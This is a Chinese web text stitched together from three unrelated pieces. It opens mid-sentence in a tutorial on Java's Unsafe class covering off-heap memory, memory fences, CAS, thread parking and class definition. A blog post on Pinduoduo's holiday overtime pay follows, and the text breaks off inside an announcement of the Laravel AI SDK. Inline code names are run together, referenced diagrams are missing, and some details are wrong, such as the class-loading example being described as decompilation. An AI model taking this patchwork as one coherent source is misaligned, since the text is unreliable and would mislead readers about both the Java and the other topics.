在代码中调用reallocateMemory方法重新分配了一块 8 字节长度的内存空间,通过比较addraddr3可以看到和之前申请的内存地址是不同的。在代码中的第二个 for 循环里,调用copyMemory方法进行了两次内存的拷贝,每次拷贝内存地址addr开始的 4 个字节,分别拷贝到以addr3addr3+4开始的内存空间上:

拷贝完成后,使用getLong方法一次性读取 8 个字节,得到long类型的值为 72340172838076673。

需要注意,通过这种方式分配的内存属于 堆外内存 ,是无法进行垃圾回收的,需要我们把这些内存当做一种资源去手动调用freeMemory方法进行释放,否则会产生内存泄漏。通用的操作内存方式是在try中执行对内存的操作,最终在finally块中进行内存的释放。

为什么要使用堆外内存?

  • 对垃圾回收停顿的改善。由于堆外内存是直接受操作系统管理而不是 JVM,所以当我们使用堆外内存时,即可保持较小的堆内内存规模。从而在 GC 时减少回收停顿对于应用的影响。
  • 提升程序 I/O 操作的性能。通常在 I/O 通信过程中,会存在堆内内存到堆外内存的数据拷贝操作,对于需要频繁进行内存间数据拷贝且生命周期较短的暂存数据,都建议存储到堆外内存。

典型应用

DirectByteBuffer 是 Java 用于实现堆外内存的一个重要类,通常用在通信过程中做缓冲池,如在 Netty、MINA 等 NIO 框架中应用广泛。DirectByteBuffer 对于堆外内存的创建、使用、销毁等逻辑均由 Unsafe 提供的堆外内存 API 来实现。

下图为 DirectByteBuffer 构造函数,创建 DirectByteBuffer 的时候,通过 Unsafe.allocateMemory 分配内存、Unsafe.setMemory 进行内存初始化,而后构建 Cleaner 对象用于跟踪 DirectByteBuffer 对象的垃圾回收,以实现当 DirectByteBuffer 被垃圾回收时,分配的堆外内存一起被释放。

DirectByteBuffer(int cap) {                   // package-private

    super(-1, 0, cap, cap);
    boolean pa = VM.isDirectMemoryPageAligned();
    int ps = Bits.pageSize();
    long size = Math.max(1L, (long)cap + (pa ? ps : 0));
    Bits.reserveMemory(size, cap);

    long base = 0;
    try {
        // 分配内存并返回基地址
        base = unsafe.allocateMemory(size);
    } catch (OutOfMemoryError x) {
        Bits.unreserveMemory(size, cap);
        throw x;
    }
    // 内存初始化
    unsafe.setMemory(base, size, (byte) 0);
    if (pa && (base % ps != 0)) {
        // Round up to page boundary
        address = base + ps - (base & (ps - 1));
    } else {
        address = base;
    }
    // 跟踪 DirectByteBuffer 对象的垃圾回收,以实现堆外内存释放
    cleaner = Cleaner.create(this, new Deallocator(base, size, cap));
    att = null;
}

内存屏障

介绍

在介绍内存屏障前,需要知道编译器和 CPU 会在保证程序输出结果一致的情况下,会对代码进行重排序,从指令优化角度提升性能。而指令重排序可能会带来一个不好的结果,导致 CPU 的高速缓存和内存中数据的不一致,而内存屏障(Memory Barrier)就是通过阻止屏障两边的指令重排序从而避免编译器和硬件的不正确优化情况。

在硬件层面上,内存屏障是 CPU 为了防止代码进行重排序而提供的指令,不同的硬件平台上实现内存屏障的方法可能并不相同。在 Java8 中,引入了 3 个内存屏障的函数,它屏蔽了操作系统底层的差异,允许在代码中定义、并统一由 JVM 来生成内存屏障指令,来实现内存屏障的功能。

Unsafe 中提供了下面三个内存屏障相关方法:

//内存屏障,禁止load操作重排序。屏障前的load操作不能被重排序到屏障后,屏障后的load操作不能被重排序到屏障前
public native void loadFence();
//内存屏障,禁止store操作重排序。屏障前的store操作不能被重排序到屏障后,屏障后的store操作不能被重排序到屏障前
public native void storeFence();
//内存屏障,禁止load、store操作重排序
public native void fullFence();

内存屏障可以看做对内存随机访问的操作中的一个同步点,使得此点之前的所有读写操作都执行后才可以开始执行此点之后的操作。以loadFence方法为例,它会禁止读操作重排序,保证在这个屏障之前的所有读操作都已经完成,并且将缓存数据设为无效,重新从主存中进行加载。

看到这估计很多小伙伴们会想到volatile关键字了,如果在字段上添加了volatile关键字,就能够实现字段在多线程下的可见性。基于读内存屏障,我们也能实现相同的功能。下面定义一个线程方法,在线程中去修改flag标志位,注意这里的flag是没有被volatile修饰的:

@Getter
class ChangeThread implements Runnable{
    /**volatile**/ boolean flag=false;
    @Override
    public void run() {
        try {
            Thread.sleep(3000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        System.out.println("subThread change flag to:" + flag);
        flag = true;
    }
}

在主线程的while循环中,加入内存屏障,测试是否能够感知到flag的修改变化:

public static void main(String[] args){
    ChangeThread changeThread = new ChangeThread();
    new Thread(changeThread).start();
    while (true) {
        boolean flag = changeThread.isFlag();
        unsafe.loadFence(); //加入读内存屏障
        if (flag){
            System.out.println("detected flag changed");
            break;
        }
    }
    System.out.println("main thread end");
}

运行结果:

subThread change flag to:false
detected flag changed
main thread end

而如果删掉上面代码中的loadFence方法,那么主线程将无法感知到flag发生的变化,会一直在while中循环。可以用图来表示上面的过程:

了解 Java 内存模型(JMM)的小伙伴们应该清楚,运行中的线程不是直接读取主内存中的变量的,只能操作自己工作内存中的变量,然后同步到主内存中,并且线程的工作内存是不能共享的。上面的图中的流程就是子线程借助于主内存,将修改后的结果同步给了主线程,进而修改主线程中的工作空间,跳出循环。

典型应用

在 Java 8 中引入了一种锁的新机制——StampedLock,它可以看成是读写锁的一个改进版本。StampedLock 提供了一种乐观读锁的实现,这种乐观读锁类似于无锁的操作,完全不会阻塞写线程获取写锁,从而缓解读多写少时写线程“饥饿”现象。由于 StampedLock 提供的乐观读锁不阻塞写线程获取读锁,当线程共享变量从主内存 load 到线程工作内存时,会存在数据不一致问题。

为了解决这个问题,StampedLockvalidate 方法会通过 UnsafeloadFence 方法加入一个 load 内存屏障。

public boolean validate(long stamp) {
   U.loadFence();
   return (stamp & SBITS) == (state & SBITS);
}

对象操作

介绍

例子

import sun.misc.Unsafe;
import java.lang.reflect.Field;

public class Main {

    private int value;

    public static void main(String[] args) throws Exception{
        Unsafe unsafe = reflectGetUnsafe();
        assert unsafe != null;
        long offset = unsafe.objectFieldOffset(Main.class.getDeclaredField("value"));
        Main main = new Main();
        System.out.println("value before putInt: " + main.value);
        unsafe.putInt(main, offset, 42);
        System.out.println("value after putInt: " + main.value);
  System.out.println("value after putInt: " + unsafe.getInt(main, offset));
    }

    private static Unsafe reflectGetUnsafe() {
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            return (Unsafe) field.get(null);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

}

输出结果:

value before putInt: 0
value after putInt: 42
value after putInt: 42

对象属性

对象成员属性的内存偏移量获取,以及字段属性值的修改,在上面的例子中我们已经测试过了。除了前面的putIntgetInt方法外,Unsafe 提供了全部 8 种基础数据类型以及Objectputget方法,并且所有的put方法都可以越过访问权限,直接修改内存中的数据。阅读 openJDK 源码中的注释发现,基础数据类型和Object的读写稍有不同,基础数据类型是直接操作的属性值(value),而Object的操作则是基于引用值(reference value)。下面是Object的读写方法:

//在对象的指定偏移地址获取一个对象引用
public native Object getObject(Object o, long offset);
//在对象指定偏移地址写入一个对象引用
public native void putObject(Object o, long offset, Object x);

除了对象属性的普通读写外,Unsafe 还提供了 volatile 读写有序写入方法。volatile读写方法的覆盖范围与普通读写相同,包含了全部基础数据类型和Object类型,以int类型为例:

//在对象的指定偏移地址处读取一个int值,支持volatile load语义
public native int getIntVolatile(Object o, long offset);
//在对象指定偏移地址处写入一个int,支持volatile store语义
public native void putIntVolatile(Object o, long offset, int x);

相对于普通读写来说,volatile读写具有更高的成本,因为它需要保证可见性和有序性。在执行get操作时,会强制从主存中获取属性值,在使用put方法设置属性值时,会强制将值更新到主存中,从而保证这些变更对其他线程是可见的。

有序写入的方法有以下三个:

public native void putOrderedObject(Object o, long offset, Object x);
public native void putOrderedInt(Object o, long offset, int x);
public native void putOrderedLong(Object o, long offset, long x);

有序写入的成本相对volatile较低,因为它只保证写入时的有序性,而不保证可见性,也就是一个线程写入的值不能保证其他线程立即可见。为了解决这里的差异性,需要对内存屏障的知识点再进一步进行补充,首先需要了解两个指令的概念:

  • Load:将主内存中的数据拷贝到处理器的缓存中
  • Store:将处理器缓存的数据刷新到主内存中

顺序写入与volatile写入的差别在于,在顺序写时加入的内存屏障类型为StoreStore类型,而在volatile写入时加入的内存屏障是StoreLoad类型,如下图所示:

在有序写入方法中,使用的是StoreStore屏障,该屏障确保Store1立刻刷新数据到内存,这一操作先于Store2以及后续的存储指令操作。而在volatile写入中,使用的是StoreLoad屏障,该屏障确保Store1立刻刷新数据到内存,这一操作先于Load2及后续的装载指令,并且,StoreLoad屏障会使该屏障之前的所有内存访问指令,包括存储指令和访问指令全部完成之后,才执行该屏障之后的内存访问指令。

综上所述,在上面的三类写入方法中,在写入效率方面,按照putputOrderputVolatile的顺序效率逐渐降低。

对象实例化

使用 UnsafeallocateInstance 方法,允许我们使用非常规的方式进行对象的实例化,首先定义一个实体类,并且在构造函数中对其成员变量进行赋值操作:

@Data
public class A {
    private int b;
    public A(){
        this.b =1;
    }
}

分别基于构造函数、反射以及 Unsafe 方法的不同方式创建对象进行比较:

public void objTest() throws Exception{
    A a1=new A();
    System.out.println(a1.getB());
    A a2 = A.class.newInstance();
    System.out.println(a2.getB());
    A a3= (A) unsafe.allocateInstance(A.class);
    System.out.println(a3.getB());
}

打印结果分别为 1、1、0,说明通过allocateInstance方法创建对象过程中,不会调用类的构造方法。使用这种方式创建对象时,只用到了Class对象,所以说如果想要跳过对象的初始化阶段或者跳过构造器的安全检查,就可以使用这种方法。在上面的例子中,如果将 A 类的构造函数改为private类型,将无法通过构造函数和反射创建对象(可以通过构造函数对象 setAccessible 后创建对象),但allocateInstance方法仍然有效。

典型应用

  • 常规对象实例化方式:我们通常所用到的创建对象的方式,从本质上来讲,都是通过 new 机制来实现对象的创建。但是,new 机制有个特点就是当类只提供有参的构造函数且无显示声明无参构造函数时,则必须使用有参构造函数进行对象构造,而使用有参构造函数时,必须传递相应个数的参数才能完成对象实例化。
  • 非常规的实例化方式:而 Unsafe 中提供 allocateInstance 方法,仅通过 Class 对象就可以创建此类的实例对象,而且不需要调用其构造函数、初始化代码、JVM 安全检查等。它抑制修饰符检测,也就是即使构造器是 private 修饰的也能通过此方法实例化,只需提类对象即可创建相应的对象。由于这种特性,allocateInstance 在 java.lang.invoke、Objenesis(提供绕过类构造器的对象生成方式)、Gson(反序列化时用到)中都有相应的应用。

数组操作

介绍

arrayBaseOffsetarrayIndexScale 这两个方法配合起来使用,即可定位数组中每个元素在内存中的位置。

//返回数组中第一个元素的偏移地址
public native int arrayBaseOffset(Class<?> arrayClass);
//返回数组中一个元素占用的大小
public native int arrayIndexScale(Class<?> arrayClass);

典型应用

这两个与数据操作相关的方法,在 java.util.concurrent.atomic 包下的 AtomicIntegerArray(可以实现对 Integer 数组中每个元素的原子性操作)中有典型的应用,如下图 AtomicIntegerArray 源码所示,通过 UnsafearrayBaseOffsetarrayIndexScale 分别获取数组首元素的偏移地址 base 及单个元素大小因子 scale 。后续相关原子性操作,均依赖于这两个值进行数组中元素的定位,如下图二所示的 getAndAdd 方法即通过 checkedByteOffset 方法获取某数组元素的偏移地址,而后通过 CAS 实现原子性操作。

CAS 操作

介绍

这部分主要为 CAS 相关操作的方法。

/**
  *  CAS
  * @param o         包含要修改field的对象
  * @param offset    对象中某field的偏移量
  * @param expected  期望值
  * @param update    更新值
  * @return          true | false
  */
public final native boolean compareAndSwapObject(Object o, long offset,  Object expected, Object update);

public final native boolean compareAndSwapInt(Object o, long offset, int expected,int update);

public final native boolean compareAndSwapLong(Object o, long offset, long expected, long update);

什么是 CAS? CAS 即比较并替换(Compare And Swap),是实现并发算法时常用到的一种技术。CAS 操作包含三个操作数——内存位置、预期原值及新值。执行 CAS 操作的时候,将内存位置的值与预期原值比较,如果相匹配,那么处理器会自动将该位置值更新为新值,否则,处理器不做任何操作。我们都知道,CAS 是一条 CPU 的原子指令(cmpxchg 指令),不会造成所谓的数据不一致问题,Unsafe 提供的 CAS 方法(如 compareAndSwapXXX)底层实现即为 CPU 指令 cmpxchg

典型应用

在 JUC 包的并发工具类中大量地使用了 CAS 操作,像在前面介绍synchronizedAQS的文章中也多次提到了 CAS,其作为乐观锁在并发工具类中广泛发挥了作用。在 Unsafe 类中,提供了compareAndSwapObjectcompareAndSwapIntcompareAndSwapLong方法来实现的对Objectintlong类型的 CAS 操作。以compareAndSwapInt方法为例:

public final native boolean compareAndSwapInt(Object o, long offset,int expected,int x);

参数中o为需要更新的对象,offset是对象o中整形字段的偏移量,如果这个字段的值与expected相同,则将字段的值设为x这个新值,并且此更新是不可被中断的,也就是一个原子操作。下面是一个使用compareAndSwapInt的例子:

private volatile int a;
public static void main(String[] args){
    CasTest casTest=new CasTest();
    new Thread(()->{
        for (int i = 1; i < 5; i++) {
            casTest.increment(i);
            System.out.print(casTest.a+" ");
        }
    }).start();
    new Thread(()->{
        for (int i = 5 ; i <10 ; i++) {
            casTest.increment(i);
            System.out.print(casTest.a+" ");
        }
    }).start();
}

private void increment(int x){
    while (true){
        try {
            long fieldOffset = unsafe.objectFieldOffset(CasTest.class.getDeclaredField("a"));
            if (unsafe.compareAndSwapInt(this,fieldOffset,x-1,x))
                break;
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        }
    }
}

运行代码会依次输出:

1 2 3 4 5 6 7 8 9

在上面的例子中,使用两个线程去修改int型属性a的值,并且只有在a的值等于传入的参数x减一时,才会将a的值变为x,也就是实现对a的加一的操作。流程如下所示:

需要注意的是,在调用compareAndSwapInt方法后,会直接返回truefalse的修改结果,因此需要我们在代码中手动添加自旋的逻辑。在AtomicInteger类的设计中,也是采用了将compareAndSwapInt的结果作为循环条件,直至修改成功才退出死循环的方式来实现的原子性的自增操作。

线程调度

介绍

Unsafe 类中提供了parkunparkmonitorEntermonitorExittryMonitorEnter方法进行线程调度。

//取消阻塞线程
public native void unpark(Object thread);
//阻塞线程
public native void park(boolean isAbsolute, long time);
//获得对象锁(可重入锁)
@Deprecated
public native void monitorEnter(Object o);
//释放对象锁
@Deprecated
public native void monitorExit(Object o);
//尝试获取对象锁
@Deprecated
public native boolean tryMonitorEnter(Object o);

方法 parkunpark 即可实现线程的挂起与恢复,将一个线程进行挂起是通过 park 方法实现的,调用 park 方法后,线程将一直阻塞直到超时或者中断等条件出现;unpark 可以终止一个挂起的线程,使其恢复正常。

此外,Unsafe 源码中monitor相关的三个方法已经被标记为deprecated,不建议被使用:

//获得对象锁
@Deprecated
public native void monitorEnter(Object var1);
//释放对象锁
@Deprecated
public native void monitorExit(Object var1);
//尝试获得对象锁
@Deprecated
public native boolean tryMonitorEnter(Object var1);

monitorEnter方法用于获得对象锁,monitorExit用于释放对象锁,如果对一个没有被monitorEnter加锁的对象执行此方法,会抛出IllegalMonitorStateException异常。tryMonitorEnter方法尝试获取对象锁,如果成功则返回true,反之返回false

典型应用

Java 锁和同步器框架的核心类 AbstractQueuedSynchronizer (AQS),就是通过调用LockSupport.park()LockSupport.unpark()实现线程的阻塞和唤醒的,而 LockSupportparkunpark 方法实际是调用 Unsafeparkunpark 方式实现的。

public static void park(Object blocker) {
    Thread t = Thread.currentThread();
    setBlocker(t, blocker);
    UNSAFE.park(false, 0L);
    setBlocker(t, null);
}
public static void unpark(Thread thread) {
    if (thread != null)
        UNSAFE.unpark(thread);
}

LockSupportpark方法调用了 Unsafepark方法来阻塞当前线程,此方法将线程阻塞后就不会继续往后执行,直到有其他线程调用unpark方法唤醒当前线程。下面的例子对 Unsafe 的这两个方法进行测试:

public static void main(String[] args) {
    Thread mainThread = Thread.currentThread();
    new Thread(()->{
        try {
            TimeUnit.SECONDS.sleep(5);
            System.out.println("subThread try to unpark mainThread");
            unsafe.unpark(mainThread);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }).start();

    System.out.println("park main mainThread");
    unsafe.park(false,0L);
    System.out.println("unpark mainThread success");
}

程序输出为:

park main mainThread
subThread try to unpark mainThread
unpark mainThread success

程序运行的流程也比较容易看懂,子线程开始运行后先进行睡眠,确保主线程能够调用park方法阻塞自己,子线程在睡眠 5 秒后,调用unpark方法唤醒主线程,使主线程能继续向下执行。整个流程如下图所示:

Class 操作

介绍

UnsafeClass的相关操作主要包括类加载和静态变量的操作方法。

静态属性读取相关的方法

//获取静态属性的偏移量
public native long staticFieldOffset(Field f);
//获取静态属性的对象指针
public native Object staticFieldBase(Field f);
//判断类是否需要初始化(用于获取类的静态属性前进行检测)
public native boolean shouldBeInitialized(Class<?> c);

创建一个包含静态属性的类,进行测试:

@Data
public class User {
    public static String name="Hydra";
    int age;
}
private void staticTest() throws Exception {
    User user=new User();
    // 也可以用下面的语句触发类初始化
    // 1.
    // unsafe.ensureClassInitialized(User.class);
    // 2.
    // System.out.println(User.name);
    System.out.println(unsafe.shouldBeInitialized(User.class));
    Field sexField = User.class.getDeclaredField("name");
    long fieldOffset = unsafe.staticFieldOffset(sexField);
    Object fieldBase = unsafe.staticFieldBase(sexField);
    Object object = unsafe.getObject(fieldBase, fieldOffset);
    System.out.println(object);
}

运行结果:

false
Hydra

Unsafe 的对象操作中,我们学习了通过objectFieldOffset方法获取对象属性偏移量并基于它对变量的值进行存取,但是它不适用于类中的静态属性,这时候就需要使用staticFieldOffset方法。在上面的代码中,只有在获取Field对象的过程中依赖到了Class,而获取静态变量的属性时不再依赖于Class

在上面的代码中首先创建一个User对象,这是因为如果一个类没有被初始化,那么它的静态属性也不会被初始化,最后获取的字段属性将是null。所以在获取静态属性前,需要调用shouldBeInitialized方法,判断在获取前是否需要初始化这个类。如果删除创建 User 对象的语句,运行结果会变为:

true
null

使用defineClass方法允许程序在运行时动态地创建一个类

public native Class<?> defineClass(String name, byte[] b, int off, int len, ClassLoader loader,ProtectionDomain protectionDomain);

在实际使用过程中,可以只传入字节数组、起始字节的下标以及读取的字节长度,默认情况下,类加载器(ClassLoader)和保护域(ProtectionDomain)来源于调用此方法的实例。下面的例子中实现了反编译生成后的 class 文件的功能:

private static void defineTest() {
    String fileName="F:\\workspace\\unsafe-test\\target\\classes\\com\\cn\\model\\User.class";
    File file = new File(fileName);
    try(FileInputStream fis = new FileInputStream(file)) {
        byte[] content=new byte[(int)file.length()];
        fis.read(content);
        Class clazz = unsafe.defineClass(null, content, 0, content.length, null, null);
        Object o = clazz.newInstance();
        Object age = clazz.getMethod("getAge").invoke(o, null);
        System.out.println(age);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

在上面的代码中,首先读取了一个class文件并通过文件流将它转化为字节数组,之后使用defineClass方法动态的创建了一个类,并在后续完成了它的实例化工作,流程如下图所示,并且通过这种方式创建的类,会跳过 JVM 的所有安全检查。

除了defineClass方法外,Unsafe 还提供了一个defineAnonymousClass方法:

public native Class<?> defineAnonymousClass(Class<?> hostClass, byte[] data, Object[] cpPatches);

使用该方法可以用来动态的创建一个匿名类,在Lambda表达式中就是使用 ASM 动态生成字节码,然后利用该方法定义实现相应的函数式接口的匿名类。在 JDK 15 发布的新特性中,在隐藏类(Hidden classes)一条中,指出将在未来的版本中弃用 UnsafedefineAnonymousClass方法。

典型应用

Lambda 表达式实现需要依赖 UnsafedefineAnonymousClass 方法定义实现相应的函数式接口的匿名类。

系统信息

介绍

这部分包含两个获取系统相关信息的方法。

//返回系统指针的大小。返回值为4(32位系统)或 8(64位系统)。
public native int addressSize();
//内存页的大小,此值为2的幂次方。
public native int pageSize();

典型应用

这两个方法的应用场景比较少,在java.nio.Bits类中,在使用pageCount计算所需的内存页的数量时,调用了pageSize方法获取内存页的大小。另外,在使用copySwapMemory方法拷贝内存时,调用了addressSize方法,检测 32 位系统的情况。

Unsafe底层

再看看Unsafe的compareAndSwap 方法来实现CAS操作,它是一个本地方法,实现位于unsafe.cpp中。

UNSAFE_ENTRY(jboolean, Unsafe_CompareAndSwapInt(JNIEnv *env, jobject unsafe, jobject obj, jlong offset, jint e, jint x))
  UnsafeWrapper("Unsafe_CompareAndSwapInt");
  oop p = JNIHandles::resolve(obj);
  jint* addr = (jint *) index_oop_from_field_offset_long(p, offset);
  return (jint)(Atomic::cmpxchg(x, addr, e)) == e;
UNSAFE_END

可以看到它通过 Atomic::cmpxchg 来实现比较和替换操作。其中参数x是即将更新的值,参数e是原内存的值。

如果是Linux的x86,Atomic::cmpxchg方法的实现如下:

inline jint Atomic::cmpxchg (jint exchange_value, volatile jint* dest, jint compare_value) {
  int mp = os::is_MP();
  __asm__ volatile (LOCK_IF_MP(%4) "cmpxchgl %1,(%3)"
                    : "=a" (exchange_value)
                    : "r" (exchange_value), "a" (compare_value), "r" (dest), "r" (mp)
                    : "cc", "memory");
  return exchange_value;
}

而windows的x86的实现如下:

inline jint Atomic::cmpxchg (jint exchange_value, volatile jint* dest, jint compare_value) {
    int mp = os::isMP(); //判断是否是多处理器
    _asm {
        mov edx, dest
        mov ecx, exchange_value
        mov eax, compare_value
        LOCK_IF_MP(mp)
        cmpxchg dword ptr [edx], ecx
    }
}

// Adding a lock prefix to an instruction on MP machine
// VC++ doesn't like the lock prefix to be on a single line
// so we can't insert a label after the lock prefix.
// By emitting a lock prefix, we can define a label after it.
#define LOCK_IF_MP(mp) __asm cmp mp, 0  \
                       __asm je L0      \
                       __asm _emit 0xF0 \
                       __asm L0:

如果是多处理器,为cmpxchg指令添加lock前缀。反之,就省略lock前缀(单处理器会不需要lock前缀提供的内存屏障效果)。这里的lock前缀就是使用了处理器的总线锁(最新的处理器都使用缓存锁代替总线锁来提高性能)。

cmpxchg(void* ptr, int old, int new),如果ptr和old的值一样,则把new写到ptr内存,否则返回ptr的值,整个操作是原子的。在Intel平台下,会用lock cmpxchg来实现,使用lock触发缓存锁,这样另一个线程想访问ptr的内存,就会被block住。

距离过年假期越来越近了,说实话,这会坐在工位上有时候浑身刺挠,思绪不知不觉也会飘上一阵。

最近在网上刷到一个过年期间电商平台拼多多内部加班补贴曝光的帖子,相信不少同学也看到了,在职场社区里引发了一阵关注和热议。

具体内容是这样的:

简单点来说:

  • 从除夕到初三这前四天,员工可获得当日工资 3 倍的报酬,其中不仅包括正常日薪,还额外增加了每日保底 400 元的补贴;
  • 而从初四到初七这后四天,报酬调整为当日工资的 2 倍,当然同样包含正常日薪与每日保底 200 元的补贴。

不知道大家有没有算过一笔账,以一个月薪 2w~3w 的员工为例(当然在拼多多实际比这高的比比皆是),平均日薪如果就粗略地按 1000 左右来算的话,如果他选择加满这 9 天班,仅法定节假日的三倍工资部分就已是一笔巨款。

简单一些粗略算算,即便不算上帖子里所说的什么补贴,就按除夕到初三这四天每天三倍工资以及初四到初七这四天每天两倍工资,那也有:

(3000×4)+(2000×4)+1000=21000

也就是说短短 9 天假期,两万多到手,这还不算帖子里所说的什么各种补贴或者其他激励,如果加上这些,实际收入还会更高。

这什么概念,这相当于大厂普通程序员工作一个月的薪资,但在这里仅用一周的时间就可以赚到。

这如果要是搁在许多其他行业,这或许是一个普通员工好几个月的全部收入了。

更引人注目的是,按帖子来说,拼多多在这次春节期间还取消了计件薪资的封顶限制,多劳多得,上不封顶。

当然,咱们上面这只是粗略算算,毕竟不同岗位,不同工种,不同员工的加班时间选择段也不一样,所以实际收入肯定是各有不同。

比如对于拼多多的研发岗程序员们来说,高 base 的员工那比比皆是,那这个春节加班报酬合下来更是非常可观了,比上面算的高一大截也再正常不过。

那作为行业内的后起之秀,拼多多如今已是一个拥有海量用户的电商平台,拼多多的系统需要 365 天无间断运行,即便是春节期间,各项电商业务对用户来说都需要可用,这些需求不会因为节假日而消失。

更重要的是,拼多多的国际版 Temu 也正在全球范围内迅猛扩张,无论是下载量还是月活数据都屡创新高,这些海外用户的购物需求在春节期间不会减少。

因此不光是拼多多,像这类电商平台公司,春节期间为了保证系统的稳定运行,都会安排专人值班。

而且拼多多的人效在电商行业中一直处于比较领先的水平,在这样的高效运营模式下,为关键岗位提供高额加班补贴,确保业务连续性和稳定性,这对于他们公司来说,其实是一种非常理性的商业投资,怎么算都是非常划算的。

前段时间,在网上不是有一个流传很广的那个《国内最难入职的 IT 公司排行》表格嘛,相信不少同学都看过,其中排在榜首的就是拼多多。

当然这个表格并非官方发布的,而是有网友根据校招面试的一些情况整理得出的,只能算是一个主观感受结果,并不能保证完全准确,大家可以参考感受一下。

大家知道拼多多素来都以快节奏、高压力和强执行所著称,其面试难度在互联网行业位居前列基本是没毛病的,尤其在技术研发岗和核心业务部门。

就拿技术岗来说,面过拼多多的同学都知道其算法与实战并重,题目难度可对标 LeetCode 中等到 Hard 级别,比如组合总数、动态规划等这类问题,而且需手写代码并优化时间复杂度。

另外拼多多对于工程实践能力也非常侧重,像什么高并发、数据库优化、分布式缓存一致性等等考查,在面试的时候基本都是家常便饭。

在拼多多虽然工作强度大,工作量多,但人家也是真的肯给钱。就像网友说的那样,只要回报和工作量能相匹配,那大家基本都还是可以接受的。

当然,还是那句话,每个人的想法不一样,每个人的选择也不一样,如果是你,面对高额的加班补贴 or 难得的假期生活,你会怎么选择呢?

注:本文在GitHub开源仓库「编程之路」 https://github.com/rd2coding/Road2Coding 中已经收录,里面有我整理的6大编程方向(岗位)的自学路线+知识点大梳理、面试考点、我的简历、几本硬核pdf笔记,以及程序员生活和感悟,欢迎star。

Laravel AI SDK 正式发布

Laravel AI SDK 今天正式发布了。这个由 Taylor Otwell 开发数月的官方包,为 Laravel 应用提供了一套统一的 AI 交互接口,覆盖文本对话、图像生成、语音合成、语音转录、向量嵌入等场景,支持 OpenAI、Anthropic、Gemini、Groq、xAI 等主流服务商。

安装方式和其他 Laravel 官方包一样简单:

composer require laravel/ai

Agent:核心交互单元

SDK 的核心概念是 Agent。每个 Agent 是一个 PHP 类,封装了系统指令、对话上下文、工具和输出格式。可以把它理解为一个专用助手——销售教练、文档分析器、客服机器人——配置一次,随处调用。

通过 Artisan 命令创建:

php artisan make:agent SalesCoach

生成的类实现 Agent 接口,定义 instructions() 方法提供系统提示词,然后调用 prompt() 发起对话:

$response = SalesCoach::make(user: $user)
    ->prompt('分析这段销售录音...');

return (string) $response;

prompt() 方法支持在调用时切换服务商和模型:

$response = (new SalesCoach)->prompt(
    '分析这段销售录音...',
    provider: 'anthropic',
    model: 'claude-haiku-4-5-20251001',
    timeout: 120,
);

如果不想创建专门的类,也可以用匿名 Agent 快速调用:

use function Laravel\Ai\{agent};

$response = agent(
    instructions: 'You are an expert at software development.',
)->prompt('Tell me about Laravel');

结构化输出

Agent 可以返回结构化数据,而不仅仅是纯文本。实现 HasStructuredOutput 接口,定义 schema() 方法即可:

public function schema(JsonSchema $schema): array
{
    return [
        'feedback' => $schema->string()->required(),
        'score' => $schema->integer()->min(1)->max(10)->required(),
    ];
}

调用后直接当数组用:

$response = (new SalesCoach)->prompt('分析这段录音...');

return $response['score']; // 8

对话记忆

Agent 支持自动持久化对话历史。使用 RemembersConversations trait 后,SDK 会自动将对话存入数据库,后续可以通过 continue() 方法继续之前的对话:

// 开始新对话
$response = (new SalesCoach)->forUser($user)->prompt('你好!');
$conversationId = $response->conversationId;

// 继续对话
$response = (new SalesCoach)
    ->continue($conversationId, as: $user)
    ->prompt('接着刚才的话题...');

工具系统

Agent 可以使用工具来扩展能力。通过 make:tool 命令创建工具类,定义输入 schema 和 handle() 方法:

class RandomNumberGenerator implements Tool
{
    public function description(): string
    {
        return '生成加密安全的随机数。';
    }

    public function handle(Request $request): string
    {
        return (string) random_int($request['min'], $request['max']);
    }

    public function schema(JsonSchema $schema): array
    {
        return [
            'min' => $schema->integer()->min(0)->required(),
            'max' => $schema->integer()->required(),
        ];
    }
}

SDK 还内置了几个服务商级别的工具:

  • WebSearch — 让 Agent 搜索网页,支持 Anthropic、OpenAI、Gemini
  • WebFetch — 让 Agent 抓取网页内容,支持 Anthropic、Gemini
  • FileSearch — 在向量存储中搜索文件,支持 OpenAI、Gemini
  • SimilaritySearch — 基于 Eloquent 模型的向量相似度搜索,用于 RAG 场景

流式响应与广播

对于需要实时输出的场景,Agent 支持流式响应。返回值可以直接作为路由响应,自动发送 SSE:

Route::get('/coach', function () {
    return (new SalesCoach)->stream('分析这段录音...');
});

流式事件还可以通过 Laravel Broadcasting 广播到前端频道,或者使用 Vercel AI SDK 协议与前端框架对接:

return (new SalesCoach)
    ->stream('分析这段录音...')
    ->usingVercelDataProtocol();

队列处理

耗时的 AI 请求可以推入队列在后台处理:

(new SalesCoach)
    ->queue($request->input('transcript'))
    ->then(function (AgentResponse $response) {
        // 处理响应...
    })
    ->catch(function (Throwable $e) {
        // 处理异常...
    });

图像生成

Image 类提供了简洁的图像生成接口,支持 OpenAI、Gemini 和 xAI:

use Laravel\Ai\Image;

$image = Image::of('厨房台面上的甜甜圈')
    ->quality('high')
    ->landscape()
    ->generate();

$path = $image->store();

支持附加参考图像进行风格迁移,也可以推入队列异步生成。

音频与转录

语音合成(TTS)和语音转录(STT)同样被纳入 SDK:

use Laravel\Ai\Audio;
use Laravel\Ai\Transcription;

// 文字转语音
$audio = Audio::of('I love coding with Laravel.')
    ->female()
    ->instructions('用海盗的语气说')
    ->generate();

// 语音转文字
$transcript = Transcription::fromStorage('audio.mp3')
    ->diarize() // 按说话人分段
    ->generate();

TTS 支持 OpenAI 和 ElevenLabs,STT 同样支持这两个服务商。

Embeddings 与向量搜索

生成向量嵌入变得非常直观。Laravel 的 Stringable 类新增了 toEmbeddings() 方法:

$embeddings = Str::of('Napa Valley has great wine.')->toEmbeddings();

配合 PostgreSQL 的 pgvector 扩展,可以在数据库中直接进行向量相似度查询:

$documents = Document::query()
    ->whereVectorSimilarTo('embedding', '纳帕谷最好的酒庄')
    ->limit(10)
    ->get();

传入字符串时,Laravel 会自动生成嵌入向量再进行查询,不需要手动处理。Embedding 还支持缓存,避免重复调用 API。

Reranking

Reranking 可以对搜索结果按语义相关性重新排序,支持 Cohere 和 Jina:

$posts = Post::all()->rerank('body', 'Laravel 教程');

这个功能直接以 Collection 宏的形式提供,可以对 Eloquent 集合按指定字段做语义重排。

文件与向量存储

